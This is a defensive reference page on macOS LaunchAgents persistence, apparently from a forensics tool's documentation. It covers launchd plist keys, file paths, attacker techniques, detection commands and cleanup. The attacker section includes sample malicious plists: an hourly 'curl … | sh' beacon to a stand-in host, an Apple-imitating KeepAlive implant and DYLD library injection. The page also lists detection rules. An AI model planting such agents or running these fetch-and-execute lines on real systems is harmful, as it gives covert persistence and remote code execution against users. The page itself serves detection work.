At login
LaunchAgents: macOS Persistence via launchd
How macOS LaunchAgents give per-user persistence through launchd, how attackers plant them, and how to find, check and remove a malicious agent.
- MITRE ATT&CK
- T1543.001
- Tactics
- Persistence, Execution
- Runs
- At login
- Set up by
- Users and root
- Locations
- /Library/LaunchAgents/*.plist
- ~/Library/LaunchAgents/*.plist
- /private/var/db/com.apple.xpc.launchd/disabled.*.plist
How it works
launchd is the first process on macOS and the manager of every service. An agent is a launchd job that runs inside a user's session. When a user logs in at the login window, launchd creates that user's gui/<uid> domain and loads the property lists in /System/Library/LaunchAgents, /Library/LaunchAgents and ~/Library/LaunchAgents. Agents in /Library therefore load for every user who logs in; agents in a home folder load only for that user. Jobs that run as root at boot are LaunchDaemons.
The plist (see man launchd.plist) says what to run and when:
| Key | Effect |
|---|---|
Label | Required, unique name of the job; launchd uses it, not the file name |
ProgramArguments, Program | The argv array, or the executable path |
RunAtLoad | Start once when the job is loaded, which for an agent means at login |
KeepAlive | true restarts it whenever it exits; a dictionary sets conditions (SuccessfulExit, PathState, Crashed…) |
StartInterval, StartCalendarInterval | Every N seconds, or cron-like times (a calendar run missed during sleep fires at wake) |
WatchPaths, QueueDirectories | Start when a path changes, or while a folder is not empty |
EnvironmentVariables, WorkingDirectory, StandardOutPath | Environment, current folder, output file |
LimitLoadToSessionType | Aqua (the normal GUI session), Background, LoginWindow… |
Disabled | Default state; launchctl enable/disable overrides it |
launchd throttles restarts to one every 10 seconds by default. The agent runs as the logged-in user, with launchd's minimal environment and / as working folder unless the plist says otherwise; it reaches whatever the user can, within TCC privacy protections.
Since the launchd rewrite in OS X 10.10, the domain syntax is the way to manage jobs: launchctl bootstrap gui/501 <plist> loads one now, launchctl bootout gui/501/<label> unloads it, and launchctl disable gui/501/<label> records the label in /private/var/db/com.apple.xpc.launchd/disabled.501.plist so it stays off across reboots without touching the plist. The legacy launchctl load -w still works. launchd refuses plists that are group- or world-writable, or not owned by root (in /Library) or by the user (in a home folder).
Big Sur 11 put /System on the sealed, read-only system volume. Ventura 13 introduced Background Task Management (BTM): backgroundtaskmanagementd records every agent it sees with the developer name and team ID from its signature, shows a "Background Items Added" notification, and lists the item in System Settings > General > Login Items, where the user can switch it off. BTM does not block a new agent; the notification is the only hint. Ventura also added SMAppService, which registers agents whose plist stays inside an app bundle (see Login Items).
Where it lives
| Path | What | Who can write it |
|---|---|---|
/System/Library/LaunchAgents/*.plist | Apple's agents | Nobody: sealed system volume, changed only by OS updates |
/Library/LaunchAgents/*.plist | Third-party agents for every user | root (installers, sudo) |
~/Library/LaunchAgents/*.plist | One user's agents | That user, no password needed |
/Applications/*.app/Contents/Library/LaunchAgents/*.plist | Agents registered with SMAppService (13+) | Whoever can write the app bundle |
/private/var/db/com.apple.xpc.launchd/disabled.<uid>.plist | Per-user enable/disable overrides | launchd, on launchctl enable/disable |
/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v*.btm | BTM store (13+) | backgroundtaskmanagementd; reading it needs root and Full Disk Access |
~/Library/LaunchAgents usually appears only when some software first creates it, so the folder's own birth time is worth a look.
How attackers use it
The per-user agent is the most common persistence on macOS because it needs no privileges: any process running as the user can create ~/Library/LaunchAgents and drop a plist there.
A long-running implant, restarted if killed, with a label that imitates Apple and a binary in a hidden folder. EvilQuest (2020, analysed by Objective-See) used the label com.apple.questd this way:
<key>Label</key><string>com.apple.updated</string>
<key>ProgramArguments</key>
<array><string>/Users/alice/Library/Application Support/.updated/updated</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
A timed beacon that runs whatever the server returns. Silver Sparrow (Red Canary, 2021) installed an agent that ran a script every hour to fetch instructions:
<key>Label</key><string>com.example.sync</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string><string>-c</string>
<string>curl -fsSL https://update.example.com/p | sh</string>
</array>
<key>StartInterval</key><integer>3600</integer>
An interpreter as the program, so nothing new lands on disk except the plist: osascript -e (AppleScript or JXA), python3, or a Java archive (CrossRAT persisted as ~/Library/LaunchAgents/mediamgrs.plist, starting a jar with java -jar). A library injected through the environment into a third-party app that lacks the hardened runtime:
<key>EnvironmentVariables</key>
<dict><key>DYLD_INSERT_LIBRARIES</key><string>/Users/Shared/.lib/libhook.dylib</string></dict>
With root, attackers also edit a vendor plist in /Library/LaunchAgents, or replace the program it starts, so every session runs their code under a trusted name. Some load a job with launchctl bootstrap and delete the plist: it runs until logout, and BTM may keep its record.
How to check a host
On a live Mac, read-only:
ls -le@ /Library/LaunchAgents /Users/*/Library/LaunchAgents
plutil -p ~/Library/LaunchAgents/com.example.sync.plist
launchctl print gui/$(id -u) # loaded services, disabled list
launchctl print gui/501/com.example.sync # path, program, state, runs, last exit code
launchctl print-disabled gui/501
sudo sfltool dumpbtm > btm.txt # developer, team ID, type, disposition
codesign -dv --verbose=4 "/path/to/program"
spctl -a -vv "/Applications/Example.app"
pkgutil --file-info /Library/LaunchAgents/com.example.sync.plist
stat -f 'born %SB modified %Sm changed %Sc' ~/Library/LaunchAgents/*.plist
Look for com.apple.* labels outside /System, programs in hidden, temporary or shared folders, interpreters with inline code, loaded services whose path no longer exists, and BTM records with no team identifier. Another user's gui/<uid> domain needs root and exists only while that user is logged in.
From a collection: read /Library/LaunchAgents, every /Users/*/Library/LaunchAgents, /private/var/db/com.apple.xpc.launchd (overrides), the BTM folder and /private/var/db/receipts. Compare each plist with its BTM record (present, developer, enabled), with the receipts (which package installed it, does the checksum still match), and its times with the rest of the timeline. If the programs were collected, check their signatures and quarantine attributes. The collection command gathers these files, and macOS Persistence does the joins offline in your browser.
What macOS Persistence flags
parseLaunchJob reads each plist and lists the label, command, schedule and trigger, with facts such as RunAtLoad, KeepAlive, WatchPaths, environment variable names and session type. On the job itself:
- Imitates an Apple label: the label starts with
com.apple.but the plist is not under/System. - Label differs from the file name: the file name without
.plistis not theLabel. - Job runs an interpreter directly: the program is a shell in
/binor/usr/bin, or/usr/bin/osascript,python,python3,perl,rubyorcurl. - Injects a library (DYLD_):
EnvironmentVariablessets aDYLD_variable, or the command line does. - Runs from a temporary or shared folder and Runs from a hidden folder: the program or a path in the arguments is in
/tmp,/private/var/folders/…/T,/Users/Shared, or under a dot-folder other than the usual ones at the top of a home folder (~/.local,~/.config…). - The command-line rules run on the joined
ProgramArguments: Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code (for exampleosascript -e), Removes Gatekeeper's quarantine, Turns shell history off, Makes a file immutable, Detaches from the session and Embedded encoded blob.
From Background Task Management, when the store is in the collection:
- Unknown developer in BTM: the record for this plist has no team identifier and no developer name, or the name says unknown.
- Not in Background Task Management: no BTM record points at this plist (Apple's own excepted).
The entry shows BTM's type, disposition, developer and team ID; a disabled disposition, a Disabled key or a per-user override in disabled.<uid>.plist marks it disabled. BTM records whose plist is not in the collection, such as SMAppService agents inside app bundles, are listed on their own with the note "plist not in the collection".
From the package layer and the timeline: Not installed by any package for a plist in /Library/LaunchAgents that no installer receipt lists, Differs from package package when its checksum no longer matches the receipt, and Changed date when it was modified in the 7 days before the newest file in the collection. Plists under /System are attributed to macOS and their flags drop to informational. Across mechanisms, program also runs from mechanisms fires when the same program (outside /bin, /usr/bin and /System) is also started by another mechanism.
Limits: the tool reads files, not launchd's running state, so a job loaded and then deleted shows only through its BTM record. It does not read or verify the programs, their signatures or quarantine attributes. Per-user overrides are applied to agents in home folders, not to agents in /Library/LaunchAgents, which load in every user's domain.
Cleaning up
- Preserve: copy the plist and the program with their times (
sudo tar -czf agent.tgz <paths>keeps them), hash them withshasum -a 256, and savelaunchctl print gui/<uid>/<label>andsudo sfltool dumpbtm. - Stop it:
launchctl bootout gui/501/com.example.sync(run as the user, or withsudo).KeepAlivecannot restart a job that has been booted out. - Delete the plist and the payload folder. Optionally
launchctl disable gui/501/com.example.syncfirst so it cannot come back while you work. - Look for the same program elsewhere: other users'
~/Library/LaunchAgents,/Library/LaunchDaemons, login items, cron and shell startup files. Do not runsfltool resetbtmto tidy up: it erases the BTM records of every item. - Rotate what the user's session exposed: browser sessions, keychain items, SSH keys and API tokens.
References
See also
Related techniques
On Mac Forensics
The artifacts behind this technique, in the Mac Forensics reference: